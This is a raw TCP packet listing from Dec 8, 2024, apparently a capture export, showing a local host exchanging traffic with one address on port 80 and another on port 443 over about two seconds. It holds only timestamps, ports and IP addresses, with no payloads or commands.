Dec 8, 2024 15:38:47.112915039 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.112952948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.113835096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.113881111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.113912106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.114506960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.114933014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.114972115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.115061045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.115462065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.116069078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.116122961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.116188049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.116250038 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.117284060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.117328882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.117372036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.117640018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.118371010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.118410110 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.118473053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.118508101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.119508982 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.119672060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.119683981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.119729042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.120659113 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.120704889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.120778084 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.121622086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.121870995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.121912956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.121969938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.122440100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.168987989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.169049025 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.169110060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.169150114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.169518948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.169565916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.169580936 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.170355082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.170382977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.170387983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.170414925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.170453072 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.171431065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.171514034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.171567917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.172605991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.172707081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.172749996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.173710108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.173753023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.173841000 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.173892975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.175297022 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.175400019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.175446987 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.176630974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.176712990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.176846027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.176846027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.177647114 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.177712917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.177741051 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.177753925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.178510904 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.178549051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.178564072 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.178582907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.179418087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.179435968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.179462910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.179589033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.243007898 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.243060112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.243134975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.243454933 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.243562937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.243616104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.244658947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.244723082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.244771004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.244816065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.245790958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.245855093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.245901108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.245944977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.246896029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.246942997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.246984959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.247025967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.248039961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.248151064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.248164892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.248245955 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.249186039 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.249243975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.249252081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.249291897 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.250346899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.250401974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.250444889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.250488043 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.251553059 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.251631975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.251691103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.251774073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.252729893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.252783060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.252835989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.252877951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.253765106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.254024029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.254081011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.254987001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.255038977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.288492918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.407823086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.552731991 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.553316116 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.553343058 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.553822994 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.553828955 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.641746044 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.642873049 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.642873049 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.642890930 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.642900944 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.644155979 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.644404888 CET	49813	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.644424915 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.644727945 CET	49813	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.644731998 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.650790930 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.651012897 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.651038885 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.651340008 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.651345968 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.651845932 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.652050018 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.652056932 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.652360916 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:47.652364969 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.724872112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.724930048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.724942923 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.724982023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.725142002 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.725181103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.725246906 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.725286961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.725325108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.725370884 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.726243019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.726342916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.726392031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.727247000 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.727299929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.727381945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.727504969 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.728254080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.728302956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.728384018 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.728427887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.729271889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.729320049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.729336977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.729383945 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.730144024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.730189085 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.730243921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.730283976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.731226921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.731277943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.731304884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.731435061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.732106924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.732165098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.732208014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.732248068 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.733087063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.733134031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.733197927 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.733242989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.734071970 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.734119892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.734190941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.734235048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.735039949 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.735085011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.735179901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.735225916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.736023903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.736068964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.736115932 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.736155033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.736993074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.737040997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.737073898 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.737123966 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.737968922 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.738009930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.738013029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.738048077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.738926888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.738975048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.739043951 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.739084959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.739916086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.739958048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.739964008 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.740000010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.741159916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.741214037 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.741272926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.741311073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.742002964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.742046118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.742109060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.742153883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.742991924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.743037939 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.743067026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.743166924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.743817091 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.743864059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.743889093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.743936062 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.744786978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.744832993 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.744903088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.744946003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.745788097 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.745834112 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.745862961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.745903969 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.746753931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.746799946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.746829033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.746876001 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.747703075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.747750044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.747750998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.747791052 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.748675108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.748801947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.748847008 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.749708891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.749803066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.749849081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.750642061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.750688076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.750732899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.751099110 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.751632929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.751678944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.751712084 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.751756907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.752613068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.752645016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.752664089 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.752676964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.753588915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.753633022 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.753755093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.753794909 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.754527092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.754596949 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.754626989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.754667997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.755584955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.755637884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.755673885 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.988106012 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.988177061 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:47.988250017 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.006855965 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.006880999 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.006896019 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.006902933 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.020243883 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.020275116 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.023112059 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.046037912 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.046055079 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.077380896 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.077452898 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.081067085 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.081136942 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.081140995 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.081182957 CET	49813	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.085632086 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.085697889 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.086926937 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.086982965 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.086982965 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.087018013 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.108599901 CET	49813	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.108614922 CET	443	49813	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.110135078 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.110153913 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.110160112 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.110165119 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.111098051 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.111114979 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.111129045 CET	49812	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.111135960 CET	443	49812	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.111227989 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.111227989 CET	49814	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.111233950 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.111242056 CET	443	49814	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.119920969 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.119967937 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.120029926 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.123068094 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.123101950 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.127110004 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127110004 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127110004 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127115011 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127115011 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127137899 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.127140045 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.127156019 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.127161980 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.127206087 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127211094 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127331018 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127338886 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.127404928 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:48.127418041 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:48.481570005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:48.481939077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:48.601166964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:48.601501942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:49.574542999 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:49.574618101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:49.620918989 CET	49787	80	192.168.2.6	185.215.113.206
